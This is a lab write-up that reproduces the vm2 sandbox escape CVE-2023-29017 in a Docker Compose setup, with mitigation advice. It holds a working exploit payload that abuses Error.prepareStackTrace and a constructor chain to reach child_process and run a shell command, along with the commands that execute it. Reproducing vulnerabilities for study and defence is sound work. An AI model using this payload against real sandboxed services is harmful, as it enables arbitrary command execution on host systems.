
Node.js vm2 CVE-2023-29017 reproduction with Docker Compose and PoC
[WHS 4th Generation, Class 31] - Kim Geon-woo (@gunwoo105)
vm2 is a Node.js sandbox library for executing untrusted JavaScript in a restricted environment. Under normal circumstances, code inside the sandbox should not have access to sensitive features of Node.js such as process, require, child_process, and the host file system.
However, in vm2 3.9.14 and below, when an unhandled asynchronous error occurs, host objects passed to Error.prepareStackTrace are not handled safely. An attacker can exploit the constructor chain of this object to obtain the Function constructor and process object from the host context, and ultimately execute operating system commands via child_process.
Instead of using a pre-built vulnerable image, the image is built directly from the official Node.js base image and the source code included in the repository. The Dockerfile checks the Node.js and vm2 versions, and the build fails if the versions do not match expectations.
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
The reason for running worker.js as a separate process is that the PoC triggers an unhandled asynchronous error. Even if the worker terminates during the attack, the web server continues to run, and the success or failure can be reliably verified using a marker file.
All of the following conditions must be met:
vm2 3.9.14 or below.Not every service that has vm2 installed is automatically exposed to remote attacks. The service must have a feature that executes attacker-controlled code in vm2. The /execute endpoint in this lab minimally implements such a use case.
The attack flow is as follows:
Malicious JavaScript delivered
│
▼
Unhandled asynchronous error triggered
│
▼
Error.prepareStackTrace called
│
▼
Host frames object exposed
│
▼
Host Function constructor obtained
│
▼
process → require → child_process
│
▼
OS command execution inside the container
docker compose build --no-cache

docker compose up -d vulnerable
Check container status.
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
http://127.0.0.1:3000/health

docker compose run --rm poc
echo "exit_code=$?"
The PoC automatically verifies the following:
21 * 2/tmp/vm2-pwned was createduid=To run everything from build to PoC in one command:
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
The full PoC is included in poc/poc.js. The core payload is as follows:
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTraceError.prepareStackTrace = (error, frames) => {
The attacker overrides the function that is called when an error stack trace is generated.
Function Constructorframes.constructor.constructor
By following the constructor chain of the host frames object exposed by the vulnerable vm2, access is gained to the Function constructor of the host context.
process Objectframes.constructor.constructor('return process')();
Creates and executes a function that returns process from the host context.
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
Loads child_process, which is not available inside the sandbox, and executes the Linux id command.
(async () => {}).constructor('return process')();
Makes an async function reference process, which is unavailable in the sandbox, thereby creating a rejected Promise that reaches the vulnerable stack trace handling path.
Benign JavaScript is executed inside vm2 and returns 42, but does not create evidence of operating system command execution.
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
When the malicious payload is sent, it escapes the vm2 sandbox and executes the id command inside the container with the permission of the vulnerable Node.js process.
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
The PoC re-verifies the saved evidence and returns the success status.
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

The evidence file can be checked directly, yielding the following result.

The marker file is deleted before each execution and is not created during the benign code execution step, thus preventing false positives from leftover results of previous runs.
Update to a version not affected.
{
"dependencies": {
"vm2": "3.9.15"
}
}
Then update the lockfile and install with pinned dependencies.
npm install --package-lock-only
npm ci
The official advisory states that there is no separate workaround, so continuing to use the vulnerable version is not recommended.
Do not run untrusted code in the same Node.js process as the application. Isolate it using a separate process, container, or virtual machine, and discard the environment after execution.
no-new-privilegesApply strong authentication and authorization for code execution features, and do not operate arbitrary code execution APIs open to unspecified users. However, authentication is only a supplementary measure to reduce the attack surface and is not a substitute for fixing the vulnerability itself.
| Component | Version / Configuration |
|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| Patch version | 3.9.15 |
| Execution environment | Docker Compose |
| Container user | node |
| Service port | 127.0.0.1:3000 |
| Package installation | npm ci + package-lock.json |
| File | Role |
|---|
docker-compose.yml | Defines the configuration and execution order of the vulnerable service and PoC container |
Dockerfile | Builds the vulnerable service and PoC images in a multi-stage manner |
vulnerable/src/server.js | Provides /health, /execute, /evidence endpoints |
vulnerable/src/worker.js | Executes user input in vm2 in a separate process |
poc/poc.js | Automates version checking, benign control, attack, and evidence verification |
vulnerable/package-lock.json | Pins package versions including transitive dependencies |